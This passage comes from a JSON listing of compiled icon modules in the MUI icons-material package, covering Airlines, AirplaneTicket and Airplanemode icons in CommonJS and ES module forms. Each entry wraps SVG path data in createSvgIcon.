    "path": "packages/mui-icons-material/lib/AirlinesRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.59 4h-5.01c-.99 0-1.91.49-2.47 1.3L2 20h17l2.56-13.63C21.79 5.14 20.84 4 19.59 4M14.5 14c-1.38 0-2.5-1.12-2.5-2.5S13.12 9 14.5 9s2.5 1.12 2.5 2.5-1.12 2.5-2.5 2.5\"\n}), 'AirlinesRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AirlinesRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.59 4h-5.01c-.99 0-1.91.49-2.47 1.3L2 20h17l2.56-13.63C21.79 5.14 20.84 4 19.59 4M14.5 14c-1.38 0-2.5-1.12-2.5-2.5S13.12 9 14.5 9s2.5 1.12 2.5 2.5-1.12 2.5-2.5 2.5\"\n}), 'AirlinesRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AirlinesSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 4 2 20h17l3-16zm1.5 10c-1.38 0-2.5-1.12-2.5-2.5S13.12 9 14.5 9s2.5 1.12 2.5 2.5-1.12 2.5-2.5 2.5\"\n}), 'AirlinesSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AirlinesSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 4 2 20h17l3-16zm1.5 10c-1.38 0-2.5-1.12-2.5-2.5S13.12 9 14.5 9s2.5 1.12 2.5 2.5-1.12 2.5-2.5 2.5\"\n}), 'AirlinesSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AirlinesTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14.05 6 5.8 18h11.54l2.25-12zm.45 8c-1.38 0-2.5-1.12-2.5-2.5S13.12 9 14.5 9s2.5 1.12 2.5 2.5-1.12 2.5-2.5 2.5\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.34 18H5.8l8.25-12h5.54zM13 4 2 20h17l3-16zm1.5 5c-1.38 0-2.5 1.12-2.5 2.5s1.12 2.5 2.5 2.5 2.5-1.12 2.5-2.5S15.88 9 14.5 9\"\n}, \"1\")], 'AirlinesTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AirlinesTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14.05 6 5.8 18h11.54l2.25-12zm.45 8c-1.38 0-2.5-1.12-2.5-2.5S13.12 9 14.5 9s2.5 1.12 2.5 2.5-1.12 2.5-2.5 2.5\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.34 18H5.8l8.25-12h5.54zM13 4 2 20h17l3-16zm1.5 5c-1.38 0-2.5 1.12-2.5 2.5s1.12 2.5 2.5 2.5 2.5-1.12 2.5-2.5S15.88 9 14.5 9\"\n}, \"1\")], 'AirlinesTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AirplaneTicket.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20.19 4H4c-1.1 0-1.99.9-1.99 2v4c1.1 0 1.99.9 1.99 2s-.89 2-2 2v4c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.81-2-1.81-2m-2.46 9.3-8.86 2.36-1.66-2.88.93-.25 1.26.99 2.39-.64-2.4-4.16 1.4-.38 4.01 3.74 2.44-.65c.51-.14 1.04.17 1.18.68.13.51-.17 1.04-.69 1.19\"\n}), 'AirplaneTicket');"
  },
  {
    "path": "packages/mui-icons-material/lib/AirplaneTicket.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20.19 4H4c-1.1 0-1.99.9-1.99 2v4c1.1 0 1.99.9 1.99 2s-.89 2-2 2v4c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.81-2-1.81-2m-2.46 9.3-8.86 2.36-1.66-2.88.93-.25 1.26.99 2.39-.64-2.4-4.16 1.4-.38 4.01 3.74 2.44-.65c.51-.14 1.04.17 1.18.68.13.51-.17 1.04-.69 1.19\"\n}), 'AirplaneTicket');"
  },
  {
    "path": "packages/mui-icons-material/lib/AirplaneTicketOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20.19 4H4c-1.1 0-1.99.9-1.99 2v4c1.1 0 1.99.9 1.99 2s-.89 2-2 2v4c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.81-2-1.81-2M20 18H4v-2.54c1.19-.69 2-1.99 2-3.46 0-1.48-.8-2.77-1.99-3.46L4 6h16zM8.87 15.66l-1.66-2.88.93-.25 1.26.99 2.39-.64-2.4-4.16 1.4-.38 4.01 3.74 2.44-.65c.51-.14 1.04.17 1.18.68.13.51-.17 1.04-.69 1.19z\"\n}), 'AirplaneTicketOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AirplaneTicketOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20.19 4H4c-1.1 0-1.99.9-1.99 2v4c1.1 0 1.99.9 1.99 2s-.89 2-2 2v4c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.81-2-1.81-2M20 18H4v-2.54c1.19-.69 2-1.99 2-3.46 0-1.48-.8-2.77-1.99-3.46L4 6h16zM8.87 15.66l-1.66-2.88.93-.25 1.26.99 2.39-.64-2.4-4.16 1.4-.38 4.01 3.74 2.44-.65c.51-.14 1.04.17 1.18.68.13.51-.17 1.04-.69 1.19z\"\n}), 'AirplaneTicketOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AirplaneTicketRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20.19 4H4c-1.1 0-1.99.9-1.99 2v4c1.1 0 1.99.9 1.99 2s-.89 2-2 2v4c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.81-2-1.81-2m-2.46 9.3-8.49 2.26c-.22.06-.45-.04-.56-.23l-1.12-1.95c-.18-.3-.01-.69.32-.78.16-.04.34-.01.47.1l1.05.82 2.39-.64L9.9 9.6c-.26-.44-.02-1.01.47-1.15.26-.07.54 0 .74.18l3.69 3.44 2.44-.65c.51-.14 1.04.17 1.18.68.13.52-.17 1.05-.69 1.2\"\n}), 'AirplaneTicketRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AirplaneTicketRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20.19 4H4c-1.1 0-1.99.9-1.99 2v4c1.1 0 1.99.9 1.99 2s-.89 2-2 2v4c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.81-2-1.81-2m-2.46 9.3-8.49 2.26c-.22.06-.45-.04-.56-.23l-1.12-1.95c-.18-.3-.01-.69.32-.78.16-.04.34-.01.47.1l1.05.82 2.39-.64L9.9 9.6c-.26-.44-.02-1.01.47-1.15.26-.07.54 0 .74.18l3.69 3.44 2.44-.65c.51-.14 1.04.17 1.18.68.13.52-.17 1.05-.69 1.2\"\n}), 'AirplaneTicketRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AirplaneTicketSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 4H2.01v6c1.1 0 1.99.9 1.99 2s-.89 2-2 2v6h20zm-4.27 9.3-8.86 2.36-1.66-2.88.93-.25 1.26.99 2.39-.64-2.4-4.16 1.4-.38 4.01 3.74 2.44-.65c.51-.14 1.04.17 1.18.68.13.51-.17 1.04-.69 1.19\"\n}), 'AirplaneTicketSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AirplaneTicketSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 4H2.01v6c1.1 0 1.99.9 1.99 2s-.89 2-2 2v6h20zm-4.27 9.3-8.86 2.36-1.66-2.88.93-.25 1.26.99 2.39-.64-2.4-4.16 1.4-.38 4.01 3.74 2.44-.65c.51-.14 1.04.17 1.18.68.13.51-.17 1.04-.69 1.19\"\n}), 'AirplaneTicketSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AirplaneTicketTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4.01 8.54C5.2 9.23 6 10.52 6 12c0 1.47-.81 2.77-2 3.46V18h16V6H4zm4.13 3.99 1.26.99 2.39-.64-2.4-4.16 1.4-.38 4.01 3.74 2.44-.65c.51-.14 1.04.17 1.18.68.13.51-.17 1.04-.69 1.19l-8.86 2.36-1.66-2.88z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20.19 4H4c-1.1 0-1.99.9-1.99 2v4c1.1 0 1.99.9 1.99 2s-.89 2-2 2v4c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.81-2-1.81-2M20 18H4v-2.54c1.19-.69 2-1.99 2-3.46 0-1.48-.8-2.77-1.99-3.46L4 6h16z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.73 13.3c.52-.15.82-.68.69-1.19-.14-.51-.67-.82-1.18-.68l-2.44.65-4.01-3.74-1.4.38 2.4 4.16-2.39.64-1.26-.99-.93.25 1.66 2.88z\"\n}, \"2\")], 'AirplaneTicketTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AirplaneTicketTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4.01 8.54C5.2 9.23 6 10.52 6 12c0 1.47-.81 2.77-2 3.46V18h16V6H4zm4.13 3.99 1.26.99 2.39-.64-2.4-4.16 1.4-.38 4.01 3.74 2.44-.65c.51-.14 1.04.17 1.18.68.13.51-.17 1.04-.69 1.19l-8.86 2.36-1.66-2.88z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20.19 4H4c-1.1 0-1.99.9-1.99 2v4c1.1 0 1.99.9 1.99 2s-.89 2-2 2v4c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.81-2-1.81-2M20 18H4v-2.54c1.19-.69 2-1.99 2-3.46 0-1.48-.8-2.77-1.99-3.46L4 6h16z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.73 13.3c.52-.15.82-.68.69-1.19-.14-.51-.67-.82-1.18-.68l-2.44.65-4.01-3.74-1.4.38 2.4 4.16-2.39.64-1.26-.99-.93.25 1.66 2.88z\"\n}, \"2\")], 'AirplaneTicketTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AirplanemodeActive.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 16v-2l-8.5-5V3.5c0-.83-.67-1.5-1.5-1.5s-1.5.67-1.5 1.5V9L2 14v2l8.5-2.5V19L8 20.5V22l4-1 4 1v-1.5L13.5 19v-5.5z\"\n}), 'AirplanemodeActive');"
  },
  {
    "path": "packages/mui-icons-material/lib/AirplanemodeActive.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 16v-2l-8.5-5V3.5c0-.83-.67-1.5-1.5-1.5s-1.5.67-1.5 1.5V9L2 14v2l8.5-2.5V19L8 20.5V22l4-1 4 1v-1.5L13.5 19v-5.5z\"\n}), 'AirplanemodeActive');"
  },
  {
    "path": "packages/mui-icons-material/lib/AirplanemodeActiveOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 16v-2l-8.5-5V3.5c0-.83-.67-1.5-1.5-1.5s-1.5.67-1.5 1.5V9L2 14v2l8.5-2.5V19L8 20.5V22l4-1 4 1v-1.5L13.5 19v-5.5z\"\n}), 'AirplanemodeActiveOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AirplanemodeActiveOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 16v-2l-8.5-5V3.5c0-.83-.67-1.5-1.5-1.5s-1.5.67-1.5 1.5V9L2 14v2l8.5-2.5V19L8 20.5V22l4-1 4 1v-1.5L13.5 19v-5.5z\"\n}), 'AirplanemodeActiveOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AirplanemodeActiveRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21.48 13.7 13.5 9V3.5c0-.83-.67-1.5-1.5-1.5s-1.5.67-1.5 1.5V9l-7.98 4.7c-.32.18-.52.53-.52.9 0 .7.67 1.2 1.34 1.01l7.16-2.1V19l-2.26 1.35c-.15.09-.24.26-.24.43v.58c0 .33.31.57.62.49l2.92-.73L12 21l.38.09.42.11 1.9.48.67.17c.32.08.62-.16.62-.49v-.58c0-.18-.09-.34-.24-.43L13.5 19v-5.5l7.16 2.1c.67.2 1.34-.3 1.34-1 0-.37-.2-.72-.52-.9\"\n}), 'AirplanemodeActiveRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AirplanemodeActiveRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21.48 13.7 13.5 9V3.5c0-.83-.67-1.5-1.5-1.5s-1.5.67-1.5 1.5V9l-7.98 4.7c-.32.18-.52.53-.52.9 0 .7.67 1.2 1.34 1.01l7.16-2.1V19l-2.26 1.35c-.15.09-.24.26-.24.43v.58c0 .33.31.57.62.49l2.92-.73L12 21l.38.09.42.11 1.9.48.67.17c.32.08.62-.16.62-.49v-.58c0-.18-.09-.34-.24-.43L13.5 19v-5.5l7.16 2.1c.67.2 1.34-.3 1.34-1 0-.37-.2-.72-.52-.9\"\n}), 'AirplanemodeActiveRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AirplanemodeActiveSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 16v-2l-8.5-5V3.5c0-.83-.67-1.5-1.5-1.5s-1.5.67-1.5 1.5V9L2 14v2l8.5-2.5V19L8 20.5V22l4-1 4 1v-1.5L13.5 19v-5.5z\"\n}), 'AirplanemodeActiveSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AirplanemodeActiveSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 16v-2l-8.5-5V3.5c0-.83-.67-1.5-1.5-1.5s-1.5.67-1.5 1.5V9L2 14v2l8.5-2.5V19L8 20.5V22l4-1 4 1v-1.5L13.5 19v-5.5z\"\n}), 'AirplanemodeActiveSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AirplanemodeActiveTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 16v-2l-8.5-5V3.5c0-.83-.67-1.5-1.5-1.5s-1.5.67-1.5 1.5V9L2 14v2l8.5-2.5V19L8 20.5V22l4-1 4 1v-1.5L13.5 19v-5.5z\"\n}), 'AirplanemodeActiveTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AirplanemodeActiveTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 16v-2l-8.5-5V3.5c0-.83-.67-1.5-1.5-1.5s-1.5.67-1.5 1.5V9L2 14v2l8.5-2.5V19L8 20.5V22l4-1 4 1v-1.5L13.5 19v-5.5z\"\n}), 'AirplanemodeActiveTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AirplanemodeInactive.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10.5 7.67V3.5c0-.83.67-1.5 1.5-1.5s1.5.67 1.5 1.5V9l8.5 5v2l-4.49-1.32zm9.28 14.94 1.41-1.41-7.69-7.7-3.94-3.94-6.75-6.75-1.42 1.41 6.38 6.38L2 14v2l8.5-2.5V19L8 20.5V22l4-1 4 1v-1.5L13.5 19v-2.67z\"\n}), 'AirplanemodeInactive');"
  },
  {
    "path": "packages/mui-icons-material/lib/AirplanemodeInactive.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10.5 7.67V3.5c0-.83.67-1.5 1.5-1.5s1.5.67 1.5 1.5V9l8.5 5v2l-4.49-1.32zm9.28 14.94 1.41-1.41-7.69-7.7-3.94-3.94-6.75-6.75-1.42 1.41 6.38 6.38L2 14v2l8.5-2.5V19L8 20.5V22l4-1 4 1v-1.5L13.5 19v-2.67z\"\n}), 'AirplanemodeInactive');"
  },
  {
    "path": "packages/mui-icons-material/lib/AirplanemodeInactiveOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10.5 7.67V3.5c0-.83.67-1.5 1.5-1.5s1.5.67 1.5 1.5V9l8.5 5v2l-4.49-1.32zm9.28 14.94 1.41-1.41-7.69-7.7-3.94-3.94-6.75-6.75-1.42 1.41 6.38 6.38L2 14v2l8.5-2.5V19L8 20.5V22l4-1 4 1v-1.5L13.5 19v-2.67z\"\n}), 'AirplanemodeInactiveOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AirplanemodeInactiveOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10.5 7.67V3.5c0-.83.67-1.5 1.5-1.5s1.5.67 1.5 1.5V9l8.5 5v2l-4.49-1.32zm9.28 14.94 1.41-1.41-7.69-7.7-3.94-3.94-6.75-6.75-1.42 1.41 6.38 6.38L2 14v2l8.5-2.5V19L8 20.5V22l4-1 4 1v-1.5L13.5 19v-2.67z\"\n}), 'AirplanemodeInactiveOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AirplanemodeInactiveRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 14.6c0 .7-.67 1.2-1.34 1.01l-3.15-.93-7.01-7.01V3.5c0-.83.67-1.5 1.5-1.5s1.5.67 1.5 1.5V9l7.98 4.7c.32.18.52.53.52.9m-8.5-1.1L9.56 9.56 3.51 3.51a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41l5.67 5.67-5.25 3.11c-.32.18-.52.53-.52.9 0 .7.67 1.2 1.34 1.01l7.16-2.1V19l-2.26 1.35c-.15.09-.24.26-.24.43v.58c0 .33.31.57.62.49l2.92-.73L12 21l.38.09.42.11 1.9.48.67.17c.32.08.62-.16.62-.49v-.58c0-.18-.09-.34-.24-.43L13.5 19v-2.67l5.57 5.57c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41z\"\n}), 'AirplanemodeInactiveRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AirplanemodeInactiveRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 14.6c0 .7-.67 1.2-1.34 1.01l-3.15-.93-7.01-7.01V3.5c0-.83.67-1.5 1.5-1.5s1.5.67 1.5 1.5V9l7.98 4.7c.32.18.52.53.52.9m-8.5-1.1L9.56 9.56 3.51 3.51a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41l5.67 5.67-5.25 3.11c-.32.18-.52.53-.52.9 0 .7.67 1.2 1.34 1.01l7.16-2.1V19l-2.26 1.35c-.15.09-.24.26-.24.43v.58c0 .33.31.57.62.49l2.92-.73L12 21l.38.09.42.11 1.9.48.67.17c.32.08.62-.16.62-.49v-.58c0-.18-.09-.34-.24-.43L13.5 19v-2.67l5.57 5.57c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41z\"\n}), 'AirplanemodeInactiveRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AirplanemodeInactiveSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10.5 7.67V3.5c0-.83.67-1.5 1.5-1.5s1.5.67 1.5 1.5V9l8.5 5v2l-4.49-1.32zm9.28 14.94 1.41-1.41-7.69-7.7-3.94-3.94-6.75-6.75-1.42 1.41 6.38 6.38L2 14v2l8.5-2.5V19L8 20.5V22l4-1 4 1v-1.5L13.5 19v-2.67z\"\n}), 'AirplanemodeInactiveSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AirplanemodeInactiveSharp.mjs",
